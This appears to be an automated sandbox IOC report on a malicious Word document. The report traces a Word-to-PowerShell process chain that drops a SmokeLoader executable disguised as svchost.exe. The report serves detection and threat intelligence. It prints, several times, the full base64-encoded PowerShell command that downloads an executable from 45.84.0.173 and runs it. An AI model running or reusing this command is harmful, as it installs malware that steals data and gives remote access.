Automated Malware Analysis IOC Report for

Files

File Path

Type

Processes

Path

Cmdline

Malicious

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding

Details

Is windows:	true
Is dropped:	false
PID:	1096
Target ID:	0
Parent PID:	564
Name:	WINWORD.EXE
Class:	word
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Size:	1423704
MD5:	9EE74859D22DAE61F1750B3A1BACB6F5
Time:	14:15:02
Date:	23/05/2024
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x13fbe0000
Modulesize:	1437696
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Sigma detected: Base64 Encoded PowerShell Command Detected	System Summary
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet	System Summary
Sigma detected: Suspicious Microsoft Office Child Process	System Summary
Sigma detected: Office Macro File Creation	System Summary
Spawns processes	System Summary	Process Injection

C:\Windows\System32\cmd.exe

cmd /c timeout 3 && Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFdlYiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICRVcmwgPSAnaHR0cDovLzQ1Ljg0LjAuMTczL2Rvd25sb2FkXzIyL3NlcnZlci5leGUnOyAkUHRoID0gIiRlbnY6VGVtcFxzdmNob3N0LmV4ZSI7ICRXZWIuRG93bmxvYWRGaWxlKCRVcmwsICRQdGgpOyBJbnZva2UtRXhwcmVzc2lvbiAkUHRoOw==')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;

Details

Is windows:	true
Is dropped:	false
PID:	1408
Target ID:	2
Parent PID:	1096
Name:	cmd.exe
Class:	cmd
Path:	C:\Windows\System32\cmd.exe
Commandline:	cmd /c timeout 3 && Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFdlYiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICRVcmwgPSAnaHR0cDovLzQ1Ljg0LjAuMTczL2Rvd25sb2FkXzIyL3NlcnZlci5leGUnOyAkUHRoID0gIiRlbnY6VGVtcFxzdmNob3N0LmV4ZSI7ICRXZWIuRG93bmxvYWRGaWxlKCRVcmwsICRQdGgpOyBJbnZva2UtRXhwcmVzc2lvbiAkUHRoOw==')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;
Size:	345088
MD5:	5746BD7E255DD6A8AFA06F7C42C1BA41
Time:	14:15:03
Date:	23/05/2024
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x4a300000
Modulesize:	364544
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Document exploit detected (process start blacklist hit)	Software Vulnerabilities	Exploitation for Client Execution
Sigma detected: Base64 Encoded PowerShell Command Detected	System Summary
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet	System Summary
Sigma detected: PowerShell Base64 Encoded Invoke Keyword	System Summary
Sigma detected: Suspicious Microsoft Office Child Process	System Summary
Sigma detected: Suspicious Execution of Powershell with Base64	System Summary
Sigma detected: Non Interactive PowerShell Process Spawned	System Summary
Spawns processes	System Summary	Process Injection

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFdlYiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICRVcmwgPSAnaHR0cDovLzQ1Ljg0LjAuMTczL2Rvd25sb2FkXzIyL3NlcnZlci5leGUnOyAkUHRoID0gIiRlbnY6VGVtcFxzdmNob3N0LmV4ZSI7ICRXZWIuRG93bmxvYWRGaWxlKCRVcmwsICRQdGgpOyBJbnZva2UtRXhwcmVzc2lvbiAkUHRoOw==')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;

Details

Is windows:	true
Is dropped:	false
PID:	1432
Target ID:	5
Parent PID:	1408
Name:	powershell.exe
Class:	powershell
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Commandline:	Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFdlYiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICRVcmwgPSAnaHR0cDovLzQ1Ljg0LjAuMTczL2Rvd25sb2FkXzIyL3NlcnZlci5leGUnOyAkUHRoID0gIiRlbnY6VGVtcFxzdmNob3N0LmV4ZSI7ICRXZWIuRG93bmxvYWRGaWxlKCRVcmwsICRQdGgpOyBJbnZva2UtRXhwcmVzc2lvbiAkUHRoOw==')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;
Size:	443392
MD5:	A575A7610E5F003CC36DF39E07C4BA7D
Time:	14:15:06
Date:	23/05/2024
Reason:	newprocess
Reputation:	moderate
Is admin:	true
Is elevated:	true
Modulebase:	0x13f700000
Modulesize:	458752
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Yara detected Powershell download and execute	HIPS / PFW / Operating System Protection Evasion
Encrypted powershell cmdline option found	HIPS / PFW / Operating System Protection Evasion	PowerShell Deobfuscate/Decode Files or Information
Sigma detected: Files With System Process Name In Unsuspected Locations	System Summary
Sigma detected: PowerShell Base64 Encoded Invoke Keyword	System Summary
Sigma detected: Suspicious Encoded PowerShell Command Line	System Summary
Sigma detected: Suspicious PowerShell Encoded Command Patterns	System Summary
Sigma detected: System File Execution Location Anomaly	System Summary
Suspicious powershell command line found	Data Obfuscation	PowerShell
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Sigma detected: Suspicious Execution of Powershell with Base64	System Summary
Sigma detected: Uncommon Svchost Parent Process	System Summary
Very long cmdline option found, this is very uncommon (may be encrypted or packed)	HIPS / PFW / Operating System Protection Evasion	Command and Scripting Interpreter
Sigma detected: Non Interactive PowerShell Process Spawned	System Summary
Sigma detected: PowerShell Script Dropped Via PowerShell.EXE	System Summary
Spawns processes	System Summary	Process Injection

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E JABXAGUAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAAkAFUAcgBsACAAPQAgACcAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADQALgAwAC4AMQA3ADMALwBkAG8AdwBuAGwAbwBhAGQAXwAyADIALwBzAGUAcgB2AGUAcgAuAGUAeABlACcAOwAgACQAUAB0AGgAIAA9ACAAIgAkAGUAbgB2ADoAVABlAG0AcABcAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAiADsAIAAkAFcAZQBiAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAFUAcgBsACwAIAAkAFAAdABoACkAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAUAB0AGgAOwA=

Details

Is windows:	true
Is dropped:	false
PID:	3084
Target ID:	6
Parent PID:	1432
Name:	powershell.exe
Class:	powershell
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E JABXAGUAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAAkAFUAcgBsACAAPQAgACcAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADQALgAwAC4AMQA3ADMALwBkAG8AdwBuAGwAbwBhAGQAXwAyADIALwBzAGUAcgB2AGUAcgAuAGUAeABlACcAOwAgACQAUAB0AGgAIAA9ACAAIgAkAGUAbgB2ADoAVABlAG0AcABcAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAiADsAIAAkAFcAZQBiAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAFUAcgBsACwAIAAkAFAAdABoACkAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAUAB0AGgAOwA=
Size:	443392
MD5:	A575A7610E5F003CC36DF39E07C4BA7D
Time:	14:15:08
Date:	23/05/2024
Reason:	newprocess
Reputation:	moderate
Is admin:	true
Is elevated:	true
Modulebase:	0x13f700000
Modulesize:	458752
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Yara detected Powershell download and execute	HIPS / PFW / Operating System Protection Evasion
Encrypted powershell cmdline option found	HIPS / PFW / Operating System Protection Evasion	PowerShell Deobfuscate/Decode Files or Information
Sigma detected: Files With System Process Name In Unsuspected Locations	System Summary
Sigma detected: PowerShell Base64 Encoded Invoke Keyword	System Summary
Sigma detected: Suspicious Encoded PowerShell Command Line	System Summary
Sigma detected: Suspicious PowerShell Encoded Command Patterns	System Summary
Sigma detected: System File Execution Location Anomaly	System Summary
Suspicious powershell command line found	Data Obfuscation	PowerShell
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Sigma detected: Suspicious Execution of Powershell with Base64	System Summary
Sigma detected: Uncommon Svchost Parent Process	System Summary
Very long cmdline option found, this is very uncommon (may be encrypted or packed)	HIPS / PFW / Operating System Protection Evasion	Command and Scripting Interpreter
Sigma detected: Non Interactive PowerShell Process Spawned	System Summary
Sigma detected: PowerShell Script Dropped Via PowerShell.EXE	System Summary
Spawns processes	System Summary	Process Injection

C:\Users\user\AppData\Local\Temp\svchost.exe

"C:\Users\user\AppData\Local\Temp\svchost.exe"

Details

Is windows:	false
Is dropped:	true
PID:	3188
Target ID:	7
Parent PID:	3084
Name:	svchost.exe
Path:	C:\Users\user\AppData\Local\Temp\svchost.exe
Commandline:	"C:\Users\user\AppData\Local\Temp\svchost.exe"
Size:	184320
MD5:	92C57DD80B764A028749520017D44E76
Time:	14:15:11
Date:	23/05/2024
Reason:	newprocess
Reputation:	low
Is admin:	true
Is elevated:	true
Modulebase:	0x400000
Modulesize:	32804864
Wow64:	true

Signature Hits	Behavior Group	Mitre Attack
Yara detected SmokeLoader	Key, Mouse, Clipboard, Microphone and Screen Capturing, Stealing of Sensitive Information, Remote Access Functionality
Drops PE files with benign system names	Persistence and Installation Behavior	Masquerading
Powershell drops PE file	System Summary	PowerShell
Sigma detected: Files With System Process Name In Unsuspected Locations	System Summary
Sigma detected: System File Execution Location Anomaly	System Summary
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Drops PE files	Persistence and Installation Behavior
Sigma detected: Uncommon Svchost Parent Process	System Summary
Drops files with a known system name (to hide its detection)
Spawns processes	System Summary	Process Injection

C:\Windows\System32\timeout.exe

timeout 3

Details

Is windows:	true
Is dropped:	false
PID:	1900
Target ID:	4
Parent PID:	1408
Name:	timeout.exe
Path:	C:\Windows\System32\timeout.exe
Commandline:	timeout 3
Size:	33280
MD5:	68A0A50CCAD87E1EE1944410A96D066C
Time:	14:15:03
Date:	23/05/2024
Reason:	newprocess
Reputation:	moderate
Is admin:	true
Is elevated:	true
Modulebase:	0xff720000
Modulesize:	49152
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Spawns processes	System Summary	Process Injection

URLs

Name

Malicious

http://45.84.0.173/download_22/server.exe

45.84.0.173

http://nuget.org/NuGet.exe

unknown

http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

unknown

http://45.84.0.173

unknown

http://go.micros

unknown

http://go.cr

unknown

https://contoso.com/

unknown

https://nuget.org/nuget.exe

unknown

https://contoso.com/License

unknown

https://contoso.com/Icon

unknown

IPs

Domain

Country

Malicious

45.84.0.173

unknown

Russian Federation

Details

IP:	45.84.0.173
TargetID:	6
Current Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Country:	Russian Federation
Countrycode:	RUS
ASN number:	200019
ASN name:	ALEXHOSTMD
Private:	false

Signature Hits	Behavior Group	Mitre Attack
HTTP GET or POST without a user agent	Networking
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (unknown TCP traffic)	Software Vulnerabilities	Exploitation for Client Execution
Connects to IPs without corresponding DNS lookups	Networking
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
URLs found in memory or binary data	Networking

Registry

Path

Value

Malicious

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

`w,

HKEY_CURRENT_USER\Software\Microsoft\Shared Tools\Outlook\Journaling\Microsoft Word

Enabled

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word

MTTT

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

(y,

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

/z,

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109E60090400100000000F01FEC\Usage

TCWP5FilesIntl_1033

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109E60090400100000000F01FEC\Usage

TCWP6FilesIntl_1033

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\14.0\Word\Text Converters\Import\Recover

Name

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\14.0\Word\Text Converters\Import\Recover

Path

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\14.0\Word\Text Converters\Import\Recover

Extensions

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\14.0\Word\Text Converters\Import\WrdPrfctDos

Name

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\14.0\Word\Text Converters\Import\WrdPrfctDos

Path

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\14.0\Word\Text Converters\Import\WrdPrfctDos

Extensions

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\14.0\Word\Text Converters\Import\WordPerfect6x

Name

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\14.0\Word\Text Converters\Import\WordPerfect6x

Path

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\14.0\Word\Text Converters\Import\WordPerfect6x

Extensions

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\ReviewCycle

ReviewToken

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\26864

26864